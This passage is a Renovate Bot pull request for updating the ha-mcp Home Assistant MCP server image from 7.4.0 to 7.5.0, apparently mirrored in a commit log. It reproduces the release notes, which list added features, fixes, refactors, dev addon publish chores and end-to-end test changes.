- Triage all 10 ha\_search\_entities behaviors from [#&#8203;1170](homeassistant-ai/ha-mcp#1170)
  ([#&#8203;1195](homeassistant-ai/ha-mcp#1195))
- Replace cron with systemd for demo server (prevents process leak)
  ([#&#8203;1110](homeassistant-ai/ha-mcp#1110))
- Improve ha\_manage\_addon discoverability (BM25 keywords + slug examples)
  ([#&#8203;1200](homeassistant-ai/ha-mcp#1200))
- Route Supervisor 401s to structured tool errors + add E2E coverage ([#&#8203;1129](homeassistant-ai/ha-mcp#1129))
  ([#&#8203;1192](homeassistant-ai/ha-mcp#1192))
- Harden \_validate\_category\_id gate to cover dict-promoted category
  ([#&#8203;1190](homeassistant-ai/ha-mcp#1190))
- Broaden template anti-pattern detection + skill discoverability ([#&#8203;1011](homeassistant-ai/ha-mcp#1011))
  ([#&#8203;1181](homeassistant-ai/ha-mcp#1181))
- Return newest automation traces, add offset+order pagination ([#&#8203;1177](homeassistant-ai/ha-mcp#1177))
  ([#&#8203;1178](homeassistant-ai/ha-mcp#1178))
- **security**: Write YAML backups outside www/ (GHSA-g39v-cvjh-8fpf)
  ([#&#8203;1180](homeassistant-ai/ha-mcp#1180))
- **search**: Apply domain\_filter when area\_filter is set ([#&#8203;1162](homeassistant-ai/ha-mcp#1162))
  ([#&#8203;1165](homeassistant-ai/ha-mcp#1165))
- **resources**: Reject HA-config YAML in dashboard resource content
  ([#&#8203;1160](homeassistant-ai/ha-mcp#1160))
- Close 19 bugs in ha\_config\_set\_helper (issue [#&#8203;1150](homeassistant-ai/ha-mcp#1150))
  ([#&#8203;1151](homeassistant-ai/ha-mcp#1151))
- Route addon log fetches directly to supervisor on addon installs
  ([#&#8203;1126](homeassistant-ai/ha-mcp#1126))
- Survive read-only filesystems at startup
  ([#&#8203;1138](homeassistant-ai/ha-mcp#1138))
- **helpers**: Clarify name-required-on-create for ha\_config\_set\_helper
  ([#&#8203;1143](homeassistant-ai/ha-mcp#1143))
- Resolve disabled entities via entity\_registry in helper deletion
  ([#&#8203;1119](homeassistant-ai/ha-mcp#1119))
- Allow unary operators in python\_transform sandbox
  ([#&#8203;1118](homeassistant-ai/ha-mcp#1118))
- **site**: Add github-copilot-agents wizard branch + delete unreferenced data/clients.ts
  ([#&#8203;1108](homeassistant-ai/ha-mcp#1108))
- **addons**: Route addon API calls through HA Core ingress proxy
  ([#&#8203;1069](homeassistant-ai/ha-mcp#1069))
- **webhook-proxy**: Surface webhook registration failures instead of silently loading
  ([#&#8203;1101](homeassistant-ai/ha-mcp#1101))
- **site**: Resolve client display-order collisions and anchor OpenCode shape
  ([#&#8203;1094](homeassistant-ai/ha-mcp#1094))

##### Performance Improvements

- Dedupe lovelace/dashboards/list in ha\_config\_set\_dashboard ([#&#8203;1085](homeassistant-ai/ha-mcp#1085))
  ([#&#8203;1191](homeassistant-ai/ha-mcp#1191))

##### Refactoring

- Drop obsolete ha\_mcp\_tools defensive ruamel.yaml imports ([post-#&#8203;1268](https://github.com/post-/ha-mcp/issues/1268))
  ([#&#8203;1269](homeassistant-ai/ha-mcp#1269))
- Extract shared Supervisor httpx client helper ([#&#8203;1130](homeassistant-ai/ha-mcp#1130))
  ([#&#8203;1203](homeassistant-ai/ha-mcp#1203))
- Surface client identity, AI model, config toggles, and prompt context in ha\_report\_issue
  ([#&#8203;1189](homeassistant-ai/ha-mcp#1189))
- Harden Context injection with safe-emit + branch coverage
  ([#&#8203;1173](homeassistant-ai/ha-mcp#1173))
- Consolidate area/floor set+remove tools (revisit of [#&#8203;813](homeassistant-ai/ha-mcp#813))
  ([#&#8203;1139](homeassistant-ai/ha-mcp#1139))
- Pass verify\_ssl to remaining direct-Supervisor httpx callers
  ([#&#8203;1128](homeassistant-ai/ha-mcp#1128))
- Validate only new entries on convenience-mode writes ([#&#8203;1086](homeassistant-ai/ha-mcp#1086))
  ([#&#8203;1100](homeassistant-ai/ha-mcp#1100))

***

<details>
<summary>Internal Changes</summary>

##### Fixed

- **ci**: Align pr.yml E2E with --dist loadscope ([#&#8203;1206](homeassistant-ai/ha-mcp#1206))
  ([#&#8203;1247](homeassistant-ai/ha-mcp#1247))
- **ci**: Switch Renovate to a GitHub App token to allow workflow-file pushes
  ([#&#8203;1229](homeassistant-ai/ha-mcp#1229))
- **ci**: Break gemini-triage retrigger loop and bump turn budget
  ([#&#8203;1131](homeassistant-ai/ha-mcp#1131))
- **ci**: Harden gemini-triage so failures stop spamming user issues
  ([#&#8203;1122](homeassistant-ai/ha-mcp#1122))
- **ci**: Unbreak hotfix-release semantic-release run
  ([#&#8203;1091](homeassistant-ai/ha-mcp#1091))

##### Chores

- **addon**: Publish dev addon version 7.4.1.dev299 \[skip ci]
  ([`397aa6d`](homeassistant-ai/ha-mcp@397aa6d))
- **addon**: Publish dev addon version 7.4.1.dev298 \[skip ci]
  ([`942b7e0`](homeassistant-ai/ha-mcp@942b7e0))
- Sync tool docs after merge \[skip ci]
  ([`6823c47`](homeassistant-ai/ha-mcp@6823c47))
- **addon**: Publish dev addon version 7.4.1.dev297 \[skip ci]
  ([`6eac062`](homeassistant-ai/ha-mcp@6eac062))
- **addon**: Publish dev addon version 7.4.1.dev296 \[skip ci]
  ([`b2afe93`](homeassistant-ai/ha-mcp@b2afe93))
- **addon**: Publish dev addon version 7.4.1.dev295 \[skip ci]
  ([`4f4c4f3`](homeassistant-ai/ha-mcp@4f4c4f3))
- **deps**: Update ghcr.io/home-assistant/home-assistant docker tag to v2026.5.1
  ([#&#8203;1236](homeassistant-ai/ha-mcp#1236))
- **addon**: Publish dev addon version 7.4.1.dev294 \[skip ci]
  ([`fd24991`](homeassistant-ai/ha-mcp@fd24991))
- **deps**: Update ghcr.io/astral-sh/uv docker tag to v0.11.13
  ([#&#8203;1233](homeassistant-ai/ha-mcp#1233))
- **addon**: Publish dev addon version 7.4.1.dev293 \[skip ci]
  ([`fcc6496`](homeassistant-ai/ha-mcp@fcc6496))
- **addon**: Publish dev addon version 7.4.1.dev292 \[skip ci]
  ([`2961650`](homeassistant-ai/ha-mcp@2961650))
- **addon**: Publish dev addon version 7.4.1.dev291 \[skip ci]
  ([`5703112`](homeassistant-ai/ha-mcp@5703112))
- **addon**: Publish dev addon version 7.4.1.dev290 \[skip ci]
  ([`19b2f65`](homeassistant-ai/ha-mcp@19b2f65))
- **addon**: Publish dev addon version 7.4.1.dev289 \[skip ci]
  ([`e5a1365`](homeassistant-ai/ha-mcp@e5a1365))
- Sync tool docs after merge \[skip ci]
  ([`d2ff93b`](homeassistant-ai/ha-mcp@d2ff93b))
- **addon**: Publish dev addon version 7.4.1.dev288 \[skip ci]
  ([`0f62400`](homeassistant-ai/ha-mcp@0f62400))
- Sync tool docs after merge \[skip ci]
  ([`c7e2066`](homeassistant-ai/ha-mcp@c7e2066))
- **addon**: Publish dev addon version 7.4.1.dev287 \[skip ci]
  ([`c1133d4`](homeassistant-ai/ha-mcp@c1133d4))
- **addon**: Publish dev addon version 7.4.1.dev286 \[skip ci]
  ([`1ae790e`](homeassistant-ai/ha-mcp@1ae790e))
- **addon**: Publish dev addon version 7.4.1.dev285 \[skip ci]
  ([`2387d0c`](homeassistant-ai/ha-mcp@2387d0c))
- **addon**: Publish dev addon version 7.4.1.dev284 \[skip ci]
  ([`dd3a4a5`](homeassistant-ai/ha-mcp@dd3a4a5))
- **addon**: Publish dev addon version 7.4.1.dev283 \[skip ci]
  ([`78af8eb`](homeassistant-ai/ha-mcp@78af8eb))
- Sync tool docs after merge \[skip ci]
  ([`093fd74`](homeassistant-ai/ha-mcp@093fd74))
- **addon**: Publish dev addon version 7.4.1.dev282 \[skip ci]
  ([`2141e15`](homeassistant-ai/ha-mcp@2141e15))
- Sync tool docs after merge \[skip ci]
  ([`7810c95`](homeassistant-ai/ha-mcp@7810c95))
- **addon**: Publish dev addon version 7.4.1.dev281 \[skip ci]
  ([`7d79ec2`](homeassistant-ai/ha-mcp@7d79ec2))
- Sync tool docs after merge \[skip ci]
  ([`a73dc81`](homeassistant-ai/ha-mcp@a73dc81))
- **addon**: Publish dev addon version 7.4.1.dev280 \[skip ci]
  ([`c858ce3`](homeassistant-ai/ha-mcp@c858ce3))
- Sync tool docs after merge \[skip ci]
  ([`a587be0`](homeassistant-ai/ha-mcp@a587be0))
- **addon**: Publish dev addon version 7.4.1.dev279 \[skip ci]
  ([`b78ddb2`](homeassistant-ai/ha-mcp@b78ddb2))
- Sync tool docs after merge \[skip ci]
  ([`1210725`](homeassistant-ai/ha-mcp@1210725))
- **addon**: Publish dev addon version 7.4.1.dev278 \[skip ci]
  ([`a282c17`](homeassistant-ai/ha-mcp@a282c17))
- **addon**: Publish dev addon version 7.4.1.dev277 \[skip ci]
  ([`1081768`](homeassistant-ai/ha-mcp@1081768))
- Sync tool docs after merge \[skip ci]
  ([`e03f5d2`](homeassistant-ai/ha-mcp@e03f5d2))
- **addon**: Publish dev addon version 7.4.1.dev276 \[skip ci]
  ([`c4ef680`](homeassistant-ai/ha-mcp@c4ef680))
- **addon**: Publish dev addon version 7.4.1.dev275 \[skip ci]
  ([`780422d`](homeassistant-ai/ha-mcp@780422d))
- Sync tool docs after merge \[skip ci]
  ([`8a2bd1a`](homeassistant-ai/ha-mcp@8a2bd1a))
- **addon**: Publish dev addon version 7.4.1.dev274 \[skip ci]
  ([`f0f09de`](homeassistant-ai/ha-mcp@f0f09de))
- **addon**: Publish dev addon version 7.4.1.dev273 \[skip ci]
  ([`cb49f68`](homeassistant-ai/ha-mcp@cb49f68))
- **addon**: Publish dev addon version 7.4.1.dev272 \[skip ci]
  ([`5097186`](homeassistant-ai/ha-mcp@5097186))
- **addon**: Publish dev addon version 7.4.1.dev271 \[skip ci]
  ([`4714342`](homeassistant-ai/ha-mcp@4714342))
- **addon**: Publish dev addon version 7.4.1.dev270 \[skip ci]
  ([`217982a`](homeassistant-ai/ha-mcp@217982a))
- **addon**: Publish dev addon version 7.4.1.dev269 \[skip ci]
  ([`a65dd5f`](homeassistant-ai/ha-mcp@a65dd5f))
- Sync tool docs after merge \[skip ci]
  ([`0e6b54f`](homeassistant-ai/ha-mcp@0e6b54f))
- **addon**: Publish dev addon version 7.4.1.dev268 \[skip ci]
  ([`60ba1f2`](homeassistant-ai/ha-mcp@60ba1f2))
- **addon**: Publish dev addon version 7.4.1.dev267 \[skip ci]
  ([`13412aa`](homeassistant-ai/ha-mcp@13412aa))
- Sync tool docs after merge \[skip ci]
  ([`2702a0f`](homeassistant-ai/ha-mcp@2702a0f))
- **addon**: Publish dev addon version 7.4.1.dev266 \[skip ci]
  ([`77abe0b`](homeassistant-ai/ha-mcp@77abe0b))
- **addon**: Publish dev addon version 7.4.1.dev265 \[skip ci]
  ([`08b69db`](homeassistant-ai/ha-mcp@08b69db))
- Sync tool docs after merge \[skip ci]
  ([`c1f24b5`](homeassistant-ai/ha-mcp@c1f24b5))
- **addon**: Publish dev addon version 7.4.1.dev264 \[skip ci]
  ([`f2583f6`](homeassistant-ai/ha-mcp@f2583f6))
- Sync tool docs after merge \[skip ci]
  ([`c2ed2d3`](homeassistant-ai/ha-mcp@c2ed2d3))
- **addon**: Publish dev addon version 7.4.1.dev263 \[skip ci]
  ([`9d43e54`](homeassistant-ai/ha-mcp@9d43e54))
- **addon**: Publish dev addon version 7.4.1.dev262 \[skip ci]
  ([`a7355c8`](homeassistant-ai/ha-mcp@a7355c8))
- Sync tool docs after merge \[skip ci]
  ([`085bd8a`](homeassistant-ai/ha-mcp@085bd8a))
- Convert agents to skills
  ([#&#8203;1084](homeassistant-ai/ha-mcp#1084))
- **addon**: Publish dev addon version 7.4.1.dev261 \[skip ci]
  ([`0d1af36`](homeassistant-ai/ha-mcp@0d1af36))
- **addon**: Publish dev addon version 7.4.1.dev260 \[skip ci]
  ([`29397dc`](homeassistant-ai/ha-mcp@29397dc))
- **addon**: Publish dev addon version 7.4.1.dev259 \[skip ci]
  ([`4bbc74b`](homeassistant-ai/ha-mcp@4bbc74b))
- Sync tool docs after merge \[skip ci]
  ([`0f6d41e`](homeassistant-ai/ha-mcp@0f6d41e))
- **addon**: Publish dev addon version 7.4.1.dev258 \[skip ci]
  ([`6751d08`](homeassistant-ai/ha-mcp@6751d08))
- **addon**: Publish dev addon version 7.4.1.dev257 \[skip ci]
  ([`2213c89`](homeassistant-ai/ha-mcp@2213c89))
- **addon**: Publish dev addon version 7.4.1.dev256 \[skip ci]
  ([`18a366e`](homeassistant-ai/ha-mcp@18a366e))
- **addon**: Publish dev addon version 7.4.1.dev255 \[skip ci]
  ([`0e9b18d`](homeassistant-ai/ha-mcp@0e9b18d))
- **addon**: Publish dev addon version 7.4.1.dev254 \[skip ci]
  ([`39fc65b`](homeassistant-ai/ha-mcp@39fc65b))
- Sync tool docs after merge \[skip ci]
  ([`9fa0aea`](homeassistant-ai/ha-mcp@9fa0aea))
- **addon**: Publish dev addon version 7.4.1.dev253 \[skip ci]
  ([`0dcc59e`](homeassistant-ai/ha-mcp@0dcc59e))
- Sync tool docs after merge \[skip ci]
  ([`ec7413f`](homeassistant-ai/ha-mcp@ec7413f))
- **addon**: Publish dev addon version 7.4.1.dev252 \[skip ci]
  ([`345640c`](homeassistant-ai/ha-mcp@345640c))
- **addon**: Publish dev addon version 7.4.1.dev251 \[skip ci]
  ([`bab9d49`](homeassistant-ai/ha-mcp@bab9d49))
- Sync tool docs after merge \[skip ci]
  ([`726f0a5`](homeassistant-ai/ha-mcp@726f0a5))
- **addon**: Publish dev addon version 7.4.1.dev250 \[skip ci]
  ([`ded04ea`](homeassistant-ai/ha-mcp@ded04ea))
- **addon**: Publish dev addon version 7.4.1.dev249 \[skip ci]
  ([`37d5628`](homeassistant-ai/ha-mcp@37d5628))
- **addon**: Publish dev addon version 7.4.1.dev248 \[skip ci]
  ([`530786a`](homeassistant-ai/ha-mcp@530786a))
- Sync tool docs after merge \[skip ci]
  ([`36719c3`](homeassistant-ai/ha-mcp@36719c3))
- **addon**: Publish dev addon version 7.4.1.dev247 \[skip ci]
  ([`4dc47b5`](homeassistant-ai/ha-mcp@4dc47b5))
- **addon**: Publish dev addon version 7.4.1.dev246 \[skip ci]
  ([`6ffbd6a`](homeassistant-ai/ha-mcp@6ffbd6a))
- Sync tool docs after merge \[skip ci]
  ([`add66e3`](homeassistant-ai/ha-mcp@add66e3))
- **addon**: Publish dev addon version 7.4.1.dev245 \[skip ci]
  ([`d0114af`](homeassistant-ai/ha-mcp@d0114af))
- Sync tool docs after merge \[skip ci]
  ([`0ca41af`](homeassistant-ai/ha-mcp@0ca41af))
- **addon**: Publish dev addon version 7.4.1.dev244 \[skip ci]
  ([`d052dd0`](homeassistant-ai/ha-mcp@d052dd0))
- **addon**: Publish dev addon version 7.4.0.dev243 \[skip ci]
  ([`827bc65`](homeassistant-ai/ha-mcp@827bc65))
- Bump package version to 7.4.1 to match released addon
  ([`4f65497`](homeassistant-ai/ha-mcp@4f65497))
- **addon**: Publish dev addon version 7.4.0.dev242 \[skip ci]
  ([`8ba80ae`](homeassistant-ai/ha-mcp@8ba80ae))
- **addon**: Publish hotfix version 7.4.1
  ([`bda75e6`](homeassistant-ai/ha-mcp@bda75e6))
- **addon**: Publish dev addon version 7.4.0.dev241 \[skip ci]
  ([`2126428`](homeassistant-ai/ha-mcp@2126428))

##### Continuous Integration

- **deps**: Bump renovatebot/github-action in the github-actions group
  ([#&#8203;1218](homeassistant-ai/ha-mcp#1218))
- **deps**: Bump renovatebot/github-action in the github-actions group
  ([#&#8203;1111](homeassistant-ai/ha-mcp#1111))

##### Refactoring

- Extract \_fetch\_dashboards\_list helper ([#&#8203;1193](homeassistant-ai/ha-mcp#1193))
  ([#&#8203;1207](homeassistant-ai/ha-mcp#1207))

##### Testing

- **e2e**: Module-scope bulk\_automations + bulk\_scripts fixtures (refs [#&#8203;366](homeassistant-ai/ha-mcp#366))
  ([#&#8203;1275](homeassistant-ai/ha-mcp#1275))
- **e2e**: Lower INPUT\_BOOLEAN\_WAIT from 30s to 10s (refs [#&#8203;366](homeassistant-ai/ha-mcp#366))
  ([#&#8203;1273](homeassistant-ai/ha-mcp#1273))
- **e2e**: Generalize readiness-gate diagnostics helper (closes [#&#8203;1267](homeassistant-ai/ha-mcp#1267))
  ([#&#8203;1271](homeassistant-ai/ha-mcp#1271))
- **e2e**: Narrow except clauses in e2e polling helpers (closes [#&#8203;1266](homeassistant-ai/ha-mcp#1266))
  ([#&#8203;1270](homeassistant-ai/ha-mcp#1270))
- **e2e**: Drop ha\_mcp\_tools retry-path + pre-install manifest requirements
  ([#&#8203;1268](homeassistant-ai/ha-mcp#1268))
- **e2e**: Instrument and retry ha\_mcp\_tools readiness wait
  ([#&#8203;1262](homeassistant-ai/ha-mcp#1262))
- Use time.monotonic() in UAT runner and test\_env\_manager
  ([#&#8203;1254](homeassistant-ai/ha-mcp#1254))
- **e2e**: Detect partial/corrupt hacs\_frontend dir in fast-path guard
  ([#&#8203;1253](homeassistant-ai/ha-mcp#1253))
- **e2e**: Remove unused wait/assert helpers ([post-#&#8203;1249](https://github.com/post-/ha-mcp/issues/1249) audit)
  ([#&#8203;1256](homeassistant-ai/ha-mcp#1256))
- **e2e**: Clear stale .hacs\_frontend.lock from prior crashed runs
  ([#&#8203;1252](homeassistant-ai/ha-mcp#1252))
- **e2e**: Use time.monotonic() in workflow polling loops
  ([#&#8203;1258](homeassistant-ai/ha-mcp#1258))
- **e2e**: Use time.monotonic() for duration polling ([#&#8203;1234](homeassistant-ai/ha-mcp#1234))
  ([#&#8203;1249](homeassistant-ai/ha-mcp#1249))
- **e2e**: Close ARM ha\_mcp\_tools readiness race under loadscope
  ([#&#8203;1208](homeassistant-ai/ha-mcp#1208))
- **hacs**: Tighten is\_hacs\_unavailable to not match legitimate "Repository not found"
  ([#&#8203;1246](homeassistant-ai/ha-mcp#1246))
- **seed**: Unblock 3 silent-skip pagination/state tests via baked recorder DB
  ([#&#8203;1240](homeassistant-ai/ha-mcp#1240))
- **seed**: Register a writable local\_calendar to unblock event-creation test
  ([#&#8203;1243](homeassistant-ai/ha-mcp#1243))
- **addon**: Fix base64 padding-bit flake in token tamper tests ([#&#8203;1238](homeassistant-ai/ha-mcp#1238))
  ([#&#8203;1241](homeassistant-ai/ha-mcp#1241))
- **seed**: Add a writable scene for test\_call\_service\_scene\_turn\_on
  ([#&#8203;1231](homeassistant-ai/ha-mcp#1231))
- **seed**: Assign demo device to living\_room area for filter test
  ([#&#8203;1230](homeassistant-ai/ha-mcp#1230))
- **e2e**: Drop nonexistent sun service from session readiness wait
  ([#&#8203;1227](homeassistant-ai/ha-mcp#1227))
- **e2e**: Self-contain dashboard register/remove to fix ARM xdist race ([#&#8203;1196](homeassistant-ai/ha-mcp#1196))
  ([#&#8203;1201](homeassistant-ai/ha-mcp#1201))
- Fix EN dash in docstring causing RUF002 lint failure
  ([`eac5916`](homeassistant-ai/ha-mcp@eac5916))
- Address Gemini review feedback on host detection and port allocation
  ([`960305e`](homeassistant-ai/ha-mcp@960305e))
- Fix three categories of E2E test flakiness
  ([`39417ff`](homeassistant-ai/ha-mcp@39417ff))
- **e2e**: Pin config\_hash stability for dashboards
  ([#&#8203;1132](homeassistant-ai/ha-mcp#1132))

</details>

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4xMDEuMSIsInVwZGF0ZWRJblZlciI6IjQzLjEwMS4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJyZW5vdmF0ZS9jb250YWluZXIiLCJ0eXBlL21pbm9yIl19-->

Reviewed-on: https://git.erwanleboucher.dev/eleboucher/homelab/pulls/455
doonga added a commit to greyrock-labs/home-ops that referenced this pull request May 13, 2026
….0 ) (#26)

This PR contains the following updates:

| Package | Update | Change |
|---|---|---|
| [ghcr.io/homeassistant-ai/ha-mcp](https://github.com/homeassistant-ai/ha-mcp) | minor | `7.4.0` → `7.5.0` |

---

### Release Notes

<details>
<summary>homeassistant-ai/ha-mcp (ghcr.io/homeassistant-ai/ha-mcp)</summary>

### [`v7.5.0`](https://github.com/homeassistant-ai/ha-mcp/blob/HEAD/CHANGELOG.md#v750-2026-05-13)

[Compare Source](homeassistant-ai/ha-mcp@v7.4.0...v7.5.0)

##### Added

- Add ENABLE\_LITE\_DOCSTRINGS beta toggle
  ([#&#8203;1259](homeassistant-ai/ha-mcp#1259))
- Add ha\_call\_event tool for publishing events on the HA event bus ([#&#8203;996](homeassistant-ai/ha-mcp#996))
  ([#&#8203;1239](homeassistant-ai/ha-mcp#1239))
- Pinpoint backslash-escape mistake in python\_sandbox errors
  ([#&#8203;1204](homeassistant-ai/ha-mcp#1204))
- Reject empty-trigger automations targeting scene.create
  ([#&#8203;1187](homeassistant-ai/ha-mcp#1187))
- Add scene config tools — ha\_config\_get/set/remove\_scene
  ([#&#8203;1168](homeassistant-ai/ha-mcp#1168))
- **addon**: Optional OAuth 2.1 mode for webhook proxy (beta)
  ([#&#8203;1184](homeassistant-ai/ha-mcp#1184))
- Surface helper schema inline in ha\_config\_set\_helper validation errors ([#&#8203;1149](homeassistant-ai/ha-mcp#1149))
  ([#&#8203;1179](homeassistant-ai/ha-mcp#1179))
- Emit progress via FastMCP Context in long-running tools
  ([#&#8203;1124](homeassistant-ai/ha-mcp#1124))
- Broaden python\_transform AST allowlist + improve error UX
  ([#&#8203;1163](homeassistant-ai/ha-mcp#1163))
- Add ha\_manage\_custom\_tool — sandboxed code execution escape hatch
  ([#&#8203;854](homeassistant-ai/ha-mcp#854))
- Always-on skills; rename list/read resource tools with ha\_ prefix
  ([#&#8203;1136](homeassistant-ai/ha-mcp#1136))
- Expose device\_class + options on ha\_set\_entity / ha\_get\_entity (Show As)
  ([#&#8203;1135](homeassistant-ai/ha-mcp#1135))
- **site**: Inline wizard data into setup.astro, migrate setup nuggets, drop content collections
  ([#&#8203;1120](homeassistant-ai/ha-mcp#1120))
- Add "Advanced debug logging" toggle for kill-signal diagnostics
  ([#&#8203;1117](homeassistant-ai/ha-mcp#1117))
- **yaml**: Scoped lovelace.dashboards.\<url\_path> support (issue [#&#8203;1034](homeassistant-ai/ha-mcp#1034))
  ([#&#8203;1103](homeassistant-ai/ha-mcp#1103))
- Add HA\_VERIFY\_SSL toggle to disable TLS verification
  ([#&#8203;1104](homeassistant-ai/ha-mcp#1104))
- Per-top-level-key config\_hash for ha\_manage\_energy\_prefs ([#&#8203;1049](homeassistant-ai/ha-mcp#1049))
  ([#&#8203;1098](homeassistant-ai/ha-mcp#1098))
- **site**: Add gemini-cli setup notes + compose hardening to wizard ([#&#8203;1027](homeassistant-ai/ha-mcp#1027))
  ([#&#8203;1087](homeassistant-ai/ha-mcp#1087))
- Add convenience modes to ha\_manage\_energy\_prefs ([#&#8203;1050](homeassistant-ai/ha-mcp#1050))
  ([#&#8203;1073](homeassistant-ai/ha-mcp#1073))
- Surface integration log levels in ha\_get\_logs/integration/addon ([#&#8203;956](homeassistant-ai/ha-mcp#956))
  ([#&#8203;1003](homeassistant-ai/ha-mcp#1003))
- Expose allowlist\_external\_dirs in ha\_get\_overview full system\_info
  ([#&#8203;1053](homeassistant-ai/ha-mcp#1053))
- **dashboards**: Unify identifier handling in ha\_config\_\*\_dashboard tools ([#&#8203;981](homeassistant-ai/ha-mcp#981))
  ([#&#8203;1075](homeassistant-ai/ha-mcp#1075))
- Include addon container logs in bug reports
  ([#&#8203;934](homeassistant-ai/ha-mcp#934))
- Add WebSocket response-shaping controls to ha\_manage\_addon
  ([#&#8203;1009](homeassistant-ai/ha-mcp#1009))
- Web-based settings UI for per-tool enable/disable/pin
  ([#&#8203;960](homeassistant-ai/ha-mcp#960))
- **site**: Add OpenCode support to setup wizard
  ([#&#8203;1080](homeassistant-ai/ha-mcp#1080))

##### Changed

- Clarify standard-mode HTTP deployment guidance
  ([#&#8203;1185](homeassistant-ai/ha-mcp#1185))
- Add Cloudflared add-on hostname alternative for tunnel service
  ([#&#8203;1183](homeassistant-ai/ha-mcp#1183))
- Align tool naming convention between AGENTS.md and styleguide ([#&#8203;943](homeassistant-ai/ha-mcp#943))
  ([#&#8203;1174](homeassistant-ai/ha-mcp#1174))
- **addon**: Note tool-list ([#&#8203;985](homeassistant-ai/ha-mcp#985 divergence; fix [#&#8203;1139](https://github.com/homeassistant-ai/ha-mcp/issues/1139)/[#&#8203;1162](https://github.com/homeassistant-ai/ha-mcp/issues/1162) test conflict
  ([#&#8203;1172](homeassistant-ai/ha-mcp#1172))
- Add brew install option for mcp-proxy on macOS
  ([#&#8203;1171](homeassistant-ai/ha-mcp#1171))
- Update contributors list \[contributors-updated]
  ([`aba01a1`](homeassistant-ai/ha-mcp@aba01a1))
- Warn against enable\_tool\_search on Claude Sonnet/Opus ([#&#8203;1088](homeassistant-ai/ha-mcp#1088))
  ([#&#8203;1140](homeassistant-ai/ha-mcp#1140))
- Address [#&#8203;1094](homeassistant-ai/ha-mcp#1094) review nits on OpenCode mirror comments
  ([#&#8203;1105](homeassistant-ai/ha-mcp#1105))

##### Fixed

- **integrations**: Surface ConfigEntry.options via OptionsFlow probe
  ([#&#8203;1245](homeassistant-ai/ha-mcp#1245))
- **backup**: Discover local agent at call time instead of hardcoding hassio.local
  ([#&#8203;1244](homeassistant-ai/ha-mcp#1244))
- Triage all 10 ha\_search\_entities behaviors from [#&#8203;1170](homeassistant-ai/ha-mcp#1170)
  ([#&#8203;1195](homeassistant-ai/ha-mcp#1195))
- Replace cron with systemd for demo server (prevents process leak)
  ([#&#8203;1110](homeassistant-ai/ha-mcp#1110))
- Improve ha\_manage\_addon discoverability (BM25 keywords + slug examples)
  ([#&#8203;1200](homeassistant-ai/ha-mcp#1200))
- Route Supervisor 401s to structured tool errors + add E2E coverage ([#&#8203;1129](homeassistant-ai/ha-mcp#1129))
  ([#&#8203;1192](homeassistant-ai/ha-mcp#1192))
- Harden \_validate\_category\_id gate to cover dict-promoted category
  ([#&#8203;1190](homeassistant-ai/ha-mcp#1190))
- Broaden template anti-pattern detection + skill discoverability ([#&#8203;1011](homeassistant-ai/ha-mcp#1011))
  ([#&#8203;1181](homeassistant-ai/ha-mcp#1181))
- Return newest automation traces, add offset+order pagination ([#&#8203;1177](homeassistant-ai/ha-mcp#1177))
  ([#&#8203;1178](homeassistant-ai/ha-mcp#1178))
- **security**: Write YAML backups outside www/ (GHSA-g39v-cvjh-8fpf)
  ([#&#8203;1180](homeassistant-ai/ha-mcp#1180))
- **search**: Apply domain\_filter when area\_filter is set ([#&#8203;1162](homeassistant-ai/ha-mcp#1162))
  ([#&#8203;1165](homeassistant-ai/ha-mcp#1165))
- **resources**: Reject HA-config YAML in dashboard resource content
  ([#&#8203;1160](homeassistant-ai/ha-mcp#1160))
- Close 19 bugs in ha\_config\_set\_helper (issue [#&#8203;1150](homeassistant-ai/ha-mcp#1150))
  ([#&#8203;1151](homeassistant-ai/ha-mcp#1151))
- Route addon log fetches directly to supervisor on addon installs
  ([#&#8203;1126](homeassistant-ai/ha-mcp#1126))
- Survive read-only filesystems at startup
  ([#&#8203;1138](homeassistant-ai/ha-mcp#1138))
- **helpers**: Clarify name-required-on-create for ha\_config\_set\_helper
  ([#&#8203;1143](homeassistant-ai/ha-mcp#1143))
- Resolve disabled entities via entity\_registry in helper deletion
  ([#&#8203;1119](homeassistant-ai/ha-mcp#1119))
- Allow unary operators in python\_transform sandbox
  ([#&#8203;1118](homeassistant-ai/ha-mcp#1118))
- **site**: Add github-copilot-agents wizard branch + delete unreferenced data/clients.ts
  ([#&#8203;1108](homeassistant-ai/ha-mcp#1108))
- **addons**: Route addon API calls through HA Core ingress proxy
  ([#&#8203;1069](homeassistant-ai/ha-mcp#1069))
- **webhook-proxy**: Surface webhook registration failures instead of silently loading
  ([#&#8203;1101](homeassistant-ai/ha-mcp#1101))
- **site**: Resolve client display-order collisions and anchor OpenCode shape
  ([#&#8203;1094](homeassistant-ai/ha-mcp#1094))

##### Performance Improvements

- Dedupe lovelace/dashboards/list in ha\_config\_set\_dashboard ([#&#8203;1085](homeassistant-ai/ha-mcp#1085))
  ([#&#8203;1191](homeassistant-ai/ha-mcp#1191))

##### Refactoring

- Drop obsolete ha\_mcp\_tools defensive ruamel.yaml imports ([post-#&#8203;1268](https://github.com/post-/ha-mcp/issues/1268))
  ([#&#8203;1269](homeassistant-ai/ha-mcp#1269))
- Extract shared Supervisor httpx client helper ([#&#8203;1130](homeassistant-ai/ha-mcp#1130))
  ([#&#8203;1203](homeassistant-ai/ha-mcp#1203))
- Surface client identity, AI model, config toggles, and prompt context in ha\_report\_issue
  ([#&#8203;1189](homeassistant-ai/ha-mcp#1189))
- Harden Context injection with safe-emit + branch coverage
  ([#&#8203;1173](homeassistant-ai/ha-mcp#1173))
- Consolidate area/floor set+remove tools (revisit of [#&#8203;813](homeassistant-ai/ha-mcp#813))
  ([#&#8203;1139](homeassistant-ai/ha-mcp#1139))
- Pass verify\_ssl to remaining direct-Supervisor httpx callers
  ([#&#8203;1128](homeassistant-ai/ha-mcp#1128))
- Validate only new entries on convenience-mode writes ([#&#8203;1086](homeassistant-ai/ha-mcp#1086))
  ([#&#8203;1100](homeassistant-ai/ha-mcp#1100))

***

<details>
<summary>Internal Changes</summary>

